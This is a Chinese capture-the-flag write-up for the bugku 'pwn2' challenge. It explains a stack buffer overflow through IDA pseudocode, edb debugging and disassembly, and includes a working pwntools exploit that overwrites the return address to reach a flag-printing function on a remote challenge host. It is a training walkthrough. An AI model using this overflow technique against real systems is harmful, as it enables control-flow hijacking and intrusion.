bugku pwn2 wp(#edb盲调)
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku pwn2 wp(#edb盲调)相关的知识,希望对你有一定的参考价值。
一、解题概况
pwn2是bugku网站上的第二道pwn题,这道题较为基础,没有任何保护机制。传统的调试方法是ida+gdb,找到关键输入函数,计算栈溢出需填充的字符串的数量,覆盖caller的下一条语句指令地址,并跳转到shellcode。这里给出的解题方法是edb盲调,给栈溢出理解还不够深入的小伙伴一个一知半解拿到flag的体验感。
二、IDA静态分析
1、main函数
将pwn拖入64位ida,在main函数的位置按F5,得到伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-30h]@1
memset(&s, 0, 0x30uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("say something?");
read(0, &s, 0x100uLL);
puts("oh,that's so boring!");
return 0;
}
main函数中只有6个函数,其中前三个与初始化有关,无需考虑;两个puts函数分别在屏幕上输出一行字符,关键输入函数为read。
2、get_shell_函数
在ida左侧的函数窗口中发现了一个看似与shell相关的函数get_shell_,伪代码为:
int get_shell_()
{
puts("tql~tql~tql~tql~tql~tql~tql");
puts("this is your flag!");
return system("cat flag");
}
在函数名get_shell_上点击x键,提示无交叉引用:
初步判断该函数应为栈溢出后跳转的目标函数。
三、edb盲调
启动edb,将pwn2拖入edb,由于代码量不多,按F8单步调试,很容易找到ida中main函数的位置:
继续按F8跟到read函数的调用位置,再按一下F8,随意输入一串数字01234567890123456789,按回车:
观察栈帧的变化:
可以看出,栈空间从低地址向高地址写入了20个字节,向下临近的第一个return为:
return处栈中的值为main函数的上层调用函数中,main函数的下一条指令的地址,将该地址替换为get_shell_函数的虚拟地址,就能将控制流引向get_shell_。覆盖该地址前,需要先覆盖8*7=56字节空间。
在ida中切换到汇编窗口,点击函数窗口中的get_shell_函数,可看到该函数的虚拟地址为0x400751:
四、编写exp得到flag
综合以上分析,编写的exp为:
from pwn import *
p = remote('114.67.246.176','11308')
#p = process("./pwn2", shell = True)
payload='a'*48+'a'*8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()
执行该python脚本后,可以得到该flag:
序一、IDA静态分析确认
拖入IDA后,main函数的汇编代码为:
.text:00000000004006C6 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006C6 public main
.text:00000000004006C6 main proc near ; DATA XREF: _start+1Do
.text:00000000004006C6
.text:00000000004006C6 s = byte ptr -30h
.text:00000000004006C6
.text:00000000004006C6 push rbp
.text:00000000004006C7 mov rbp, rsp
.text:00000000004006CA sub rsp, 30h
.text:00000000004006CE lea rax, [rbp+s]
.text:00000000004006D2 mov edx, 30h ; n
.text:00000000004006D7 mov esi, 0 ; c
.text:00000000004006DC mov rdi, rax ; s
.text:00000000004006DF call _memset
.text:00000000004006E4 mov rax, cs:stdout@@GLIBC_2_2_5
.text:00000000004006EB mov ecx, 0 ; n
.text:00000000004006F0 mov edx, 2 ; modes
.text:00000000004006F5 mov esi, 0 ; buf
.text:00000000004006FA mov rdi, rax ; stream
.text:00000000004006FD call _setvbuf
.text:0000000000400702 mov rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000400709 mov ecx, 0 ; n
.text:000000000040070E mov edx, 1 ; modes
.text:0000000000400713 mov esi, 0 ; buf
.text:0000000000400718 mov rdi, rax ; stream
.text:000000000040071B call _setvbuf
.text:0000000000400720 mov edi, offset s ; "say something?"
.text:0000000000400725 call _puts
.text:000000000040072A lea rax, [rbp+s]
.text:000000000040072E mov edx, 100h ; nbytes
.text:0000000000400733 mov rsi, rax ; buf
.text:0000000000400736 mov edi, 0 ; fd
.text:000000000040073B call _read
.text:0000000000400740 mov edi, offset aOhThatSSoBorin ; "oh,that's so boring!"
.text:0000000000400745 call _puts
.text:000000000040074A mov eax, 0
.text:000000000040074F leave
.text:0000000000400750 retn
.text:0000000000400750 main endp
read函数写入的位置为s,该位置为ebp-30h,因此,缓冲区溢出攻击时,需先覆盖30h的s空间,再覆盖8h的rbp后,下8个字节,即可劫持rip控制流。
以上是关于bugku pwn2 wp(#edb盲调)的主要内容,如果未能解决你的问题,请参考以下文章